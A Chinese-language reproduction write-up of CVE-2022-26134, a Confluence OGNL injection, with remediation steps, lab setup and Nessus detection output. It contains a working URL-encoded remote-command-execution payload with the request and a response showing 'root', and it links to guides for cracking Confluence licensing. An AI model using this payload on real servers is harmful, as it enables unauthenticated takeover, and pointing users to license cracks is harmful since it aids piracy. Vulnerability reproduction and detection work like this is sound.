CVE-2022-26134 Confluence OGNL表达式注入命令执行漏洞复现

一、Confluence简介

Confluence是一个专业的知识库协同工具，它可以进行企业知识管理与软件协同，是一个利于构建企业WIKI的Web应用。Confluence使用简单，但它强大的编辑和站点管理特征能够帮助团队成员之间共享信息、文档协作、集体讨论，信息推送。是企业中强大的信息读取、存放的共享平台。

二、CVE-2022-26134 Confluence OGNL表达式注入命令执行 漏洞详情

1、简介

在受影响的 Confluence Server 和 Data Center 版本中，存在一个 OGNL 注入漏洞，允许未经身份验证的攻击者在 Confluence Server 或数据中心实例上执行任意代码。

2、漏洞评估

漏洞评分	CVSS 3.0=9.8 VPR=9.7
漏洞等级	Critical
漏洞发生层面	应用
漏洞类型	命令执行
漏洞修复难度	中等
漏洞可利用性	有POC、武器化
攻击方式	远程
权限要求	无需权限
攻击复杂度	简单
机密性	数据泄露
可用性	服务器失陷
完整性	数据传输被破坏

受影响版本：受影响的版本是从 1.3.0 到 7.4.17、从 7.13.0 到 7.13.7、从 7.14.0 到 7.14.3、从 7.15.0 到 7.15.2、从 7.16.0 到7.16.4、从 7.17.0 到7.17.4，从 7.18.0 到7.18.1。

3、修复建议

（1）已发布版本 7.4.17、7.13.7、7.14.3、7.15.2、7.16.4、7.17.4 和 7.18.1，其中包含此问题的修复程序。

（2）若不便进行版本升级操作则可将“xwork-1.0.3-atlassian-8.jar”替换为“xwork-1.0.3-atlassian-10.jar”以缓解漏洞影响：

a、下载文件“xwork-1.0.3-atlassian-10.jar”

下载链接：https://packages.atlassian.com/maven-internal/opensymphony/xwork/1.0.3-atlassian-10/xwork-1.0.3-atlassian-10.jar

b、将以上文件移至路径“<confluence-install>/confluence/WEB-INF/lib/”

c、删除原本路径中的“xwork-1.0.3-atlassian-8.jar”文件。

d、检查新 xwork-1.0.3-atlassian-10.jar 文件的权限和所有权是否与同一目录中的现有文件匹配。

e、启用应用。

三、漏洞复现及检测

1、漏洞复现

（1）confluence环境搭建：

1、安装包安装（测试版本5.8.10）

a、下载“atlassian-confluence-5.8.10-x64.bin”文件。

链接：Confluence Server 下载存档 | Atlassian

b、添加权限后进行安装

chmod 777 atlassian-confluence-5.8.10-x64.bin
./atlassian-confluence-5.8.10-x64.bin
./atlassian-confluence-6.9.1-x64.bin
Unpacking JRE ...
Starting Installer ...
#是否要安装：是
This will install Confluence 6.9.1 on your computer.
OK [o, Enter], Cancel [c]
o
Click Next to continue, or Cancel to exit Setup.
#如何安装：自定义
Choose the appropriate installation or upgrade option.
Please choose one of the following:
Express Install (uses default settings) [1], 
Custom Install (recommended for advanced users) [2, Enter], 
Upgrade an existing Confluence installation [3]
2
#默认安装目录？：否 /home/confluence/app
Select the folder where you would like Confluence 6.9.1 to be installed,
then click Next.
Where should Confluence 6.9.1 be installed?
[/opt/atlassian/confluence]
/home/confluence/app
#默认数据目录？：否 /home/confluence/data
Default location for Confluence data
[/var/atlassian/application-data/confluence]
/home/confluence/data
#默认端口？：是
Configure which ports Confluence will use.
Confluence requires two TCP ports that are not being used by any other
applications on this machine. The HTTP port is where you will access
Confluence through your browser. The Control port is used to Startup and
Shutdown Confluence.
Use default ports (HTTP: 8090, Control: 8000) - Recommended [1, Enter], Set custom value for HTTP and Control ports [2]
1
#确认安装confluence作为服务？：是
Confluence can be run in the background.
You may choose to run Confluence as a service, which means it will start
automatically whenever the computer restarts.
Install Confluence as Service?
Yes [y, Enter], No [n]
y
Extracting files ...
                                                                           
 
Please wait a few moments while we configure Confluence.
#安装完成，是否启动？是
Installation of Confluence 6.9.1 is complete
Start Confluence now?
Yes [y, Enter], No [n]
y
 
Please wait a few moments while Confluence starts up.
Launching Confluence ...
 
Installation of Confluence 6.9.1 is complete
Your installation of Confluence 6.9.1 is now ready and can be accessed via
your browser.
Confluence 6.9.1 can be accessed at http://localhost:8090
Finishing installation ...

安装完成后访问 http://ip:port

c、Confluence破解

直接参考文章：

搭建confluence服务器（详细操作+踩坑说明）-CSDN博客

Linux安装、破解Confluence(tar包) - 简书

（2）漏洞测试

a、漏洞POC

/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/

b、request

GET //%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1
Host: 192.168.30.48:8091
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=3764D915B037D5A50D8025AA793E990A
Connection: close

c、response

HTTP/1.1 302 Found
Server: Apache-Coyote/1.1
X-ASEN: YOU MAKE ME A SAD PANDA.
X-Confluence-Request-Time: 1692953249072
Content-Encoding:
Vary:
Set-Cookie: JSESSIONID=EB8CC683D0ED4A306477BCE3DA9DFF17; Path=/; HttpOnly
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Cmd-Response: root
Location: http://192.168.30.48:8091/login.action?os_destination=%2F%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D%2Findex.action&permissionViolation=true
Content-Type: text/html;charset=UTF-8
Date: Fri, 25 Aug 2023 08:47:29 GMT
Connection: close

d、复现测试

2、Tenable漏洞扫描结果解析

（1）Nessus-agent扫描：

a、使用插件：169509

b、漏洞插件输出：

插件输出为版本检测，nessus插件从路径“/root/atlassian-confluence/confluence/META-INF/maven/com.atlassian.confluence/confluence-webapp/”下的pom.xml文本中检测到Confluence版本为“5.8.10”，在官方披露中属受CVE-2022-26134漏洞影响版本。

（2）Nessus网络扫描：

a、使用插件：161808、162175

b、扫描方式：深度扫描

c、扫描结果：

d、Plugin ID 161808 插件输出：

e、Plugin ID 162175 插件输出：

Nessus was able to exploit the issue using the following request :

GET /%24%7b(%23_%3d%40com.opensymphony.webwork.ServletActionContext%40getResponse().setHeader(%22x-nessus%22%2c%22nessus%22))%7d/ HTTP/1.1
Host: 192.168.30.48:8091
Accept-Charset: iso-8859-1,utf-8;q=0.9,*;q=0.1
Accept-Language: en
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
Pragma: no-cache
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*




This produced the following truncated output (limited to 10 lines) :
------------------------------ snip ------------------------------
Server: Apache-Coyote/1.1
X-ASEN: YOU MAKE ME A SAD PANDA.
X-Confluence-Request-Time: 1692960595463
Set-Cookie: JSESSIONID=37FF7884A285CCAD3AAB69BBDD1B1903; Path=/; HttpOnly
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
x-nessus: nessus
Location: http://192.168.30.48:8091/login.action?os_destination=%2F%24%7B%28%23_%3D%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22x-nessus%22%2C%22nessus%22%29%29%7D%2Findex.action&permissionViolation=true
Content-Type: text/html;charset=UTF-8
Content-Length: 0
[...]

------------------------------ snip ------------------------------